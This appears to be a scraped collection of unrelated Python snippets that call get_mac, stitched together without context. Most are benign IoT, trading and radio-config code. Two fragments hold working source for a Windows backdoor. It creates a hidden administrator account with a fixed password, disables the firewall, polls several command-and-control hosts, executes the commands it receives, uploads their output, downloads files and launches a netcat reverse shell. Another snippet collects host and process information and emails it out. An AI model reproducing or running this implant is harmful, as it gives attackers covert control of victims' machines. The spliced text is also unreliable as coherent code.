sip + " " + sport, shell=True) #os.system("nc.exe -e cmd.exe "+sip+" "+sport) else: p = Popen("nc64.exe -e cmd.exe " + sip + " " + sport, shell=True) #os.system("nc64.exe -e cmd.exe "+sip+" "+sport) except Exception as e: print(str(e)) #myloop() #httpServ = httplib.HTTPConnection(site, 80) #httpServ.connect() #response = urllib2.urlopen("http://"+site+"/svc/wup.php?pc="+sCOMPUTERNAME+"&kill=1") #httpServ.request('GET', "/svc/wup.php?pc="+sCOMPUTERNAME+"&kill=1") #response = httpServ.getresponse() url = "http://" + site + "/svc/wup.php?pc=" + sCOMPUTERNAME + "&kill=1" response = requests.get(url, headers=header) #httpServ.close() ## client = paramiko.SSHClient() ## client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ## #label .myLabel ## #try: ## #sip = '184.72.89.74' ## try: ## client.connect(sip, username='******', password='******',port=int(sport)) ## chan = client.get_transport().open_session() ## chan.send('Hey i am connected :) ') ## print chan.recv(1024) ## while True: ## command = chan.recv(1024) ## print str(len(command)) ## print command ## if command == 'exit' or len(command) == 0: ## ## client.close() ## break ## try: ## CMD = subprocess.check_output(command, shell=True) ## chan.send(CMD) ## except Exception as e: ## chan.send(str(e)) ## except Exception as e: ## print (str(e)) site = site1 except Exception as e: # app_log.info('Exception %s',str(e)) print(str(e)) #print e.errno #if e.errno == 11001: time.sleep(10) #myloop() if site == site1: site = site2 elif site == site2: site = site3 elif site == site3: site = site1
def main(): logging.basicConfig(level='INFO') loop = aio.new_event_loop() os.environ.setdefault('LUMIMQTT_CONFIG', '/etc/lumimqtt.json') config = {} if os.path.exists(os.environ['LUMIMQTT_CONFIG']): try: with open(os.environ['LUMIMQTT_CONFIG'], 'r') as f: config = json.load(f) except Exception: pass dev_id = hex(get_mac()) config = { 'topic_root': 'lumi/{MAC}', 'mqtt_host': 'localhost', 'mqtt_port': 1883, 'sensor_threshold': 50, # 5% of illuminance sensor 'sensor_debounce_period': 60, # 1 minute **config, } if os.path.exists(led_r_legacy): light = { 'r': led_r_legacy, 'g': led_g_legacy, 'b': led_b_legacy, 'pwm_max': 100, } else: light = {'r': led_r, 'g': led_g, 'b': led_b, 'pwm_max': 255} server = LumiMqtt( reconnection_interval=10, loop=loop, dev_id=dev_id, topic_root=config['topic_root'].replace('{MAC}', dev_id), host=config['mqtt_host'], port=config['mqtt_port'], user=config.get('mqtt_user'), password=config.get('mqtt_password'), sensor_retain=config.get('sensor_retain', False), sensor_threshold=int(config['sensor_threshold']), sensor_debounce_period=int(config['sensor_debounce_period']), ) server.register(IlluminanceSensor( device=illuminance_dev, name='illuminance', topic=SUBTOPIC_ILLUMINANCE, )) server.register(Button( device=button_dev, name='btn0', topic=SUBTOPIC_BTN, scancodes=[ecodes.BTN_0], )) server.register(Light( device=light, name='light', topic=SUBTOPIC_LIGHT, )) if config.get('binary_sensors'): for sensor, sensor_options in config['binary_sensors'].items(): sensor_config = { 'name': sensor, 'topic': sensor, **sensor_options, } if 'gpio' in sensor_config: server.register(BinarySensor(**sensor_config)) else: logger.error(f'GPIO number is not set for {sensor} sensor!') try: logger.info(f'Start lumimqtt {VERSION}') loop.run_until_complete(server.start()) except KeyboardInterrupt: pass finally: loop.run_until_complete(server.close()) loop.run_until_complete(loop.shutdown_asyncgens()) loop.close()
mailserver.ehlo() # say hello mailserver.starttls() # TLS 보안 시작 mailserver.login(gmail_sender, gmail_passwd) mailserver.sendmail(gmail_sender, [gmail_recipient], msg.as_string()) # 메일 발송 mailserver.close() print("메일을 전송 완료하였습니다.") except: print("메일 전송이 실패하였습니다.") if __name__ == '__main__': filename = "info.txt" # ex) info.txt savepath = os.path.expanduser('~') + "\\" + filename print(savepath) OSVersion = platform.platform() # https://pinkwink.kr/1002 name = socket.gethostname() mac = get_mac() # https://codeday.me/ko/qa/20190308/26157.html pslist = getProcessList() # http://m.blog.daum.net/paulsthink/6002608 data = "OS Version : " + OSVersion \ + "\nPC name : " + name \ + "\nMAC : " + hex(mac).upper() \ + "\n\n[ Process List ]\n" for list in pslist: data += list + "\n" f = open(savepath, mode='wt', encoding='utf-8') f.write(data) f.close() sendmail("sender", "recipient", "passwd", "subject", savepath) # gmail 의 경우 외부 라이브러리가 접근하는 것에는 보안 설정을 풀어줘야 동작함
def myloop(): sinit = '0' site = "paner.altervista.org" site1 = "paner.altervista.org" site2 = "52.26.124.145" site3 = "certificates.ddns.net" #os.system("reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v urlspace /t REG_SZ /d "+os.getenv('windir')+"\\up.exe /f") #os.system("cmd /c copy /y "+os.getenv('windir')+"\\upie.exe "+os.getenv('windir')+"\\up.exe") while True: try: if sinit == '0': #os.system("net.exe user Administrator /active:yes") os.system("net.exe user asp Qwerty12 /add") os.system("net.exe localgroup administrators asp /add") os.system( "reg add HKLM\\System\\CurrentControlSet\\Control\\Lsa /v forceguest /t REG_DWORD /d 0 /f" ) os.system( "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f" ) os.system( "wmic path Win32_UserAccount where Name=\'asp\' set PasswordExpires=false" ) os.system( "reg add hklm\\system\\currentcontrolset\\control\\lsa /v LimitBlankPasswordUse /t REG_DWORD /d 0 /f" ) os.system("netsh advfirewall set allprofiles state off") ## if not os.path.exists('c:\\windows\\wup.exe'): ## os.system('powershell -Command Invoke-WebRequest -Uri "http://certificates.ddns.net/wofficeie.exe" -OutFile "c:\\windows\\wup.exe"') ## subprocess.call("sc create wup binPath= \""+os.getenv('windir')+"\\wup.exe\" DisplayName= \"Windows Office\" start= auto", creationflags=CREATE_NO_WINDOW) ## subprocess.call("net start wup", creationflags=CREATE_NO_WINDOW) if not os.path.exists('c:\\windows\\syswow64'): os.system( 'reg add "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts" /f' ) os.system( 'reg add "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList" /f' ) os.system( 'reg add "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList" /v asp /t REG_DWORD /d 0 /f' ) else: os.system( 'reg add "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts" /f /reg:64' ) os.system( 'reg add "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList" /f /reg:64' ) #os.system('reg add "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList" /v Administrator /t REG_DWORD /d 0 /f /reg:64') os.system( 'reg add "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList" /v asp /t REG_DWORD /d 0 /f /reg:64' ) #os.system("net.exe user Administrator Qwerty12") os.system("net.exe user asp Qwerty12") sinit = '1' httpServ = httplib.HTTPConnection(site, 80) httpServ.connect() mymac = get_mac() smacaddress = get_macaddress('localhost') sCOMPUTERNAME = os.getenv('COMPUTERNAME') + "_" + smacaddress sTime = time.ctime( os.path.getmtime(os.getenv('windir') + "\\wup.exe")) sTime = sTime.replace(" ", "_") #opener = urllib2.build_opener(SocksiPyHandler(socks.PROXY_TYPE_SOCKS4, '52.26.124.145', 8080)) #response = opener.open("http://"+site+"/svc/wup.php?pc="+sCOMPUTERNAME+"&wup="+sTime).read() #response = urllib2.urlopen("http://"+site+"/svc/wup.php?pc="+sCOMPUTERNAME+"&wup="+sTime)#+"&dump=aaaaa") httpServ.request( 'GET', "/svc/wup.php?pc=" + sCOMPUTERNAME + "&wup=" + sTime) response = httpServ.getresponse() #sresponse=response.read() if response.status == httplib.OK: #if sresponse!= '': print "Output from HTML request" sresponse = response.read() ifind = sresponse.find('ip=') sip = sresponse[ifind + 3:sresponse.find('||', ifind)] ifind = sresponse.find('port=') sport = sresponse[ifind + 5:sresponse.find('||', ifind)] ifind = sresponse.find('kill=') skill = sresponse[ifind + 5:sresponse.find('||', ifind)] ifind = sresponse.find('iout=') sout = sresponse[ifind + 5:sresponse.find('||', ifind)] ifind = sresponse.find('exec=') sexec = sresponse[ifind + 5:sresponse.find('||', ifind)] ifind = sresponse.find('cmd=') scmd = sresponse[ifind + 4:sresponse.find('||', ifind)] print skill else: if site == site1: site = site2 elif site == site2: site = site3 elif site == site3: site = site1 httpServ.request( 'GET', "/svc/wup.php?pc=" + sCOMPUTERNAME + "&wup=" + sTime) response = httpServ.getresponse() if response.status == httplib.OK: print "Output from HTML request" sresponse = response.read() ifind = sresponse.find('ip=') sip = sresponse[ifind + 3:sresponse.find('||', ifind)] ifind = sresponse.find('port=') sport = sresponse[ifind + 5:sresponse.find('||', ifind)] ifind = sresponse.find('kill=') skill = sresponse[ifind + 5:sresponse.find('||', ifind)] ifind = sresponse.find('iout=') sout = sresponse[ifind + 5:sresponse.find('||', ifind)] ifind = sresponse.find('exec=') sexec = sresponse[ifind + 5:sresponse.find('||', ifind)] ifind = sresponse.find('cmd=') scmd = sresponse[ifind + 4:sresponse.find('||', ifind)] print skill httpServ.close() if sexec == '1': sCOMPUTERNAME = os.getenv('COMPUTERNAME') + "_" + smacaddress try: if sout == '1': sdump = subprocess.check_output( scmd, stderr=subprocess.STDOUT, shell=True) ## process=subprocess.Popen(scmd,stdout=subprocess.PIPE,stderr=subprocess.STDOUT, shell=True) ## p = Popen(scmd,shell=True) ## returncode = process.wait() ## print('return code'.format(returncode)) ## sdump=process.stdout.read() text_file = open( os.getenv('TEMP') + "\\" + sCOMPUTERNAME, "w") text_file.write(sdump) text_file.close() files = { 'userfile': open( os.getenv('TEMP') + "\\" + sCOMPUTERNAME, 'rb') } r = requests.post('http://' + site + '/upload.php', files=files) #if len(sdump)<2006: #sdump = sdump.replace("\'", "") #sdump = sdump.replace("\\", "\\\\") sdump = sdump.replace("\r\n", "<br>") #sdump = sdump.replace("\n", "<br>") #sdump = sdump.replace("\r", "<br>") sdump = sdump.replace(" ", "%20") #sdump = sdump[ 0 : 2005] httpServ = httplib.HTTPConnection(site, 80) httpServ.connect() #response = urllib2.urlopen("http://"+site+"/svc/wup.php?pc="+sCOMPUTERNAME+"&dump="+sdump) httpServ.request( 'GET', "/svc/wup.php?pc=" + sCOMPUTERNAME + "&dump=" + sdump) response = httpServ.getresponse() httpServ.close() else: igetfile = scmd.find('getfile') ifile = scmd.rfind('/') if igetfile == 0: geturl = scmd[8:len(scmd)] sfiledest = scmd[ifile + 1:len(scmd)] f = urllib2.urlopen(geturl) with open(swin + '\\' + sfiledest, "wb") as code: code.write(f.read()) else: p = Popen(scmd, shell=True) #print r.text except Exception, e: print str(e) httpServ = httplib.HTTPConnection(site, 80) httpServ.connect() #response = urllib2.urlopen("http://"+site+"/svc/wup.php?pc="+sCOMPUTERNAME+"&exec=0") httpServ.request( 'GET', "/svc/wup.php?pc=" + sCOMPUTERNAME + "&exec=0") response = httpServ.getresponse() httpServ.close() if skill == '0': try: if not os.path.exists('c:\windows\syswow64'): p = Popen("nc.exe -e cmd.exe " + sip + " " + sport, shell=True) #os.system("nc.exe -e cmd.exe "+sip+" "+sport) else: p = Popen("nc64.exe -e cmd.exe " + sip + " " + sport, shell=True) #os.system("nc64.exe -e cmd.exe "+sip+" "+sport) except Exception, e: print str(e) httpServ = httplib.HTTPConnection(site, 80) httpServ.connect() #response = urllib2.urlopen("http://"+site+"/svc/wup.php?pc="+sCOMPUTERNAME+"&kill=1") httpServ.request( 'GET', "/svc/wup.php?pc=" + sCOMPUTERNAME + "&kill=1") response = httpServ.getresponse() httpServ.close() ## client = paramiko.SSHClient() ## client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ## #label .myLabel ## #try: ## #sip = '184.72.89.74' ## try: ## client.connect(sip, username='******', password='******',port=int(sport)) ## chan = client.get_transport().open_session() ## chan.send('Hey i am connected :) ') ## print chan.recv(1024) ## while True: ## command = chan.recv(1024) ## print str(len(command)) ## print command ## if command == 'exit' or len(command) == 0: ## ## client.close() ## break ## try: ## CMD = subprocess.check_output(command, shell=True) ## chan.send(CMD) ## except Exception,e: ## chan.send(str(e)) ## except Exception,e: ## print str(e) site = site1
conn.execute(''' CREATE TABLE IF NOT EXISTS CALENDAR_DAYS (DATE CHAR(50)); ''') conn.execute(''' CREATE TABLE IF NOT EXISTS CALENDAR_DATA ( DATE CHAR(50), TIMESTAMP LONG, CURRENCY CHAR(50), DESCRIPTION ACTUAL FLOAT, PREVIOUS FLOAT, FORECAST FLOAT, CONSTRAINT UC_Person UNIQUE (DESCRIPTION,CURRENCY,TIMESTAMP) ); ''') print "Table created successfully" conn.close() if get_mac() == 154505288144005: root_dir = "/tmp/" else: root_dir = "/root/trading_data/" trade_logger = setup_logger('first_logger', root_dir + "prediction_pairs_output.log")
def main(argv): # Les logs c'est bien logger=logging.getLogger(__name__) # On assigne avant server = None player = None logger.info('Récupération des paramètres de la ligne de commande') try: opts, args = getopt.getopt(argv,"hs:p:",["server=","player="]) except getopt.GetoptError: print('RaspDacDisplayCS.py -s <serveur LMS> -p <player>') sys.exit(2) for opt, arg in opts: if opt == '-h': print('RaspDacDisplayCS.py -s <serveur LMS> -p <player pour lequel il faut récupérer les infos>') sys.exit() elif opt in ("-s", "--server"): server = arg print('Adresse serveur LMS : ', server) elif opt in ("-p", "--player"): player = arg print('Adresse player : ', player) logger.debug("Paramètres ligne de commande : %s", opts) try: # Si pas de serveur précisé en ligne de commande, on prends l'adresse IP locale if server is None: server = get_ip() # Adresse MAC du player à surveiller (en gros celle du RaspDAC) # Si pas de player on prends l'adresse MAC locale if player is None: #// player = "B8:27:EB:09:65:F9" player = get_mac() # Initialisation de notre classe qui gère l'affichage du RaspDAC rd = RaspDac_Display(player=player, lms_server=server) # Lancement rd.start() except: # Impossible d'initialiser la classe ou de lancer le Thread logger.critical("Impossible d'initialiser la classe ou de lancer le Thread...") logger.critical("Exception", exc_info = (sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2])) finally: logger.info("Fin de l'application d'affichage sur le Raspdac") # Ménage if DISPLAY_INSTALLED: GPIO.cleanup() else: curses.endwin() # Code sortie différent de 0 pour récupérer via shell éventuellement sys.exit(1)
import time import os import sys from urllib.request import urlopen import urllib.request import sys import subprocess from uuid import getnode as get_mac ipAddress = sys.argv[1] mac = str(hex(get_mac())) print(mac) cmd = ['pmset', '-g'] #Gets volume def getVolumeStatus(): output = subprocess.Popen(cmd, stdout=subprocess.PIPE).communicate()[0] volumePlaying = False if ('coreaudiod' in str(output)): volumePlaying = True print("Volume found") return volumePlaying #Creates custom URL string def getURL(device, isPlaying): boolean = "false" if (isPlaying): boolean = "true"
def mac(): """ Get MAC. """ from uuid import getnode as get_mac return ':'.join(("%012x" % get_mac())[i:i + 2] for i in range(0, 12, 2))
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import serial import json import requests from uuid import getnode as get_mac # hardcoded server/laptop IP TODO get dynamically host = "http://192.168.0.102:8080/api/tags/log/" deviceID = str(get_mac()) while True: # the ports appear as files in /dev serialport = serial.Serial("/dev/ttyUSB0", 9600, timeout=1) response = serialport.readlines(None) if response: tag = str(response[0])[6:18] print("got tag: " + tag) payload = json.dumps({ 'id': deviceID, "tagID": tag }) print('payload: ' + payload)
from uuid import getnode as get_mac SERVER = "34.93.136.27" BACKEND_PORT = "8080" DOMAIN = "http://" + SERVER + ":8080" MY_DEVICE_ID = str(get_mac()) # MY_DEVICE_ID = "d1" MY_USER = "******" MY_PASSWORD = "******" REMOTE_PATH = "/home/" + MY_USER + "/" LOCAL_PATH = "./" IMAGE_FORMAT = ".png" VIDEO_FORMAT = ".mp4" NOHUP_FORMAT = ".out" LIVE_CHECK_INTERVAL = 10.0 # Messages DEFAULT_MESSAGE = "For One stop advertisements, Please contact Bob The Builder Advertising: +91-1231321234" # Endpoints POST_REGISTER_ENDPOINT = DOMAIN + "/register" GET_LIVE_ENDPOINT = DOMAIN + "/device/live/" GET_PLAYLIST_ENDPOINT = DOMAIN + "/playlist/fetchPlaylist" GET_FILE_ENDPOINT = DOMAIN + "/storage/downloadFile/" GET_IMAGE_ID_ENDPOINT = DOMAIN + "/playlist/fetchImageIdsForDevice" GET_VIDEO_ID_ENDPOINT = DOMAIN + "/playlist/fetchVideoIdsForDevice" SEND_USAGE_STATISTICS = DOMAIN + "/playlist/updateUsageStats" # Sample Json to test template 1 -- TEXT sampleJson1_1 = [{
def _deviceId(): mac = get_mac() hexed = hex((mac*7919)%(2**64)) return ('0000000000000000'+hexed[2:-1])[16:]
def get_device_mac_address(): global device_mac_address device_mac_address = ':'.join( ("%012X" % get_mac())[i:i + 2] for i in range(0, 12, 2)) print(device_mac_address)
try: cmdline = proc.cmdline() # Check if process name contains the given name string. if len(cmdline) > 1 and processName.lower() in cmdline[1]: count += 1 except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): pass if count >= 2: sys.exit(0) checkIfProcessRunning('train_price_action_model.py', "") if get_mac() != 150538578859218: root_dir = "/root/trading/production/" else: root_dir = "" class MyFormatter(logging.Formatter): converter=dt.datetime.fromtimestamp def formatTime(self, record, datefmt=None): ct = self.converter(record.created) if datefmt: s = ct.strftime(datefmt) else: t = ct.strftime("%Y-%m-%d %H:%M:%S") s = "%s,%03d" % (t, record.msecs) return s
## For hardware which uses a sound-card as its ADC or appears as an ## audio device. #config.devices.add(u'audio', AudioDevice(rx_device='')) #config.set_server_audio_allowed(True, 'pulse_shinyout', 48000) # Locally generated RF signals for test purposes. if sim: config.devices.add(u'sim', SimulatedDevice()) # Databases config.databases.add_directory('/config/databases') from uuid import getnode as get_mac config.serve_web( # These are in Twisted endpoint description syntax: # <http://twistedmatrix.com/documents/current/api/twisted.internet.endpoints.html#serverFromString> # Note: ws_endpoint must currently be 1 greater than http_endpoint; if one # is SSL then both must be. These restrictions will be relaxed later. http_endpoint='tcp:8100', ws_endpoint='tcp:8101', # A secret placed in the URL as simple access control. Does not # provide any real security unless using HTTPS. The default value # in this file has been automatically generated from 128 random bits. # Set to None to not use any secret. root_cap="%x" % get_mac(), # Page title / station name title='ShinySDR')
if __name__ == "__main__": signal.signal(signal.SIGINT, interruptHandler) try: opts, args = getopt.getopt( sys.argv[1:], "hn:vo:t:i:T:c:", ["help", "name=", "verbose", "type=", "id=", "token=", "config="]) except getopt.GetoptError as err: print(str(err)) usage() sys.exit(2) verbose = False organization = "quickstart" deviceType = "sample-iotpsutil" deviceId = str(hex(int(get_mac())))[2:] deviceName = platform.node() authMethod = None authToken = None configFilePath = None # Seconds to sleep between readings interval = 1 for o, a in opts: if o in ("-v", "--verbose"): verbose = True elif o in ("-n", "--name"): deviceName = a elif o in ("-o", "--organization"): organization = a
def mymac(): mac = "%012x" % get_mac() return_val = '' for i in range(0, len(mac) / 2): return_val = return_val + chr(int('0x' + mac[i * 2:i * 2 + 2], 16)) return return_val
import socket import re from uuid import getnode as get_mac # This is the general client portion of testing # used to confirm communication through tcp/ip protocol. # The server will recieve and log the data using SQLite. port = 8000 host = '192.168.1.100' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) mac = get_mac mac_addr = (':'.join(re.findall('..', '%012x' % get_mac()))) s.connect((host, port)) while s.connect: try: message = ('Communication Test From Mac Address: ' + str(mac_addr).upper()) # mac=str.encode(mac,'utf-8')) print(message) s.send(message.encode('utf-8')) # s.send(encode(mac,'utp-8')) break except socket.error: print("Binding Failed ..") s.close()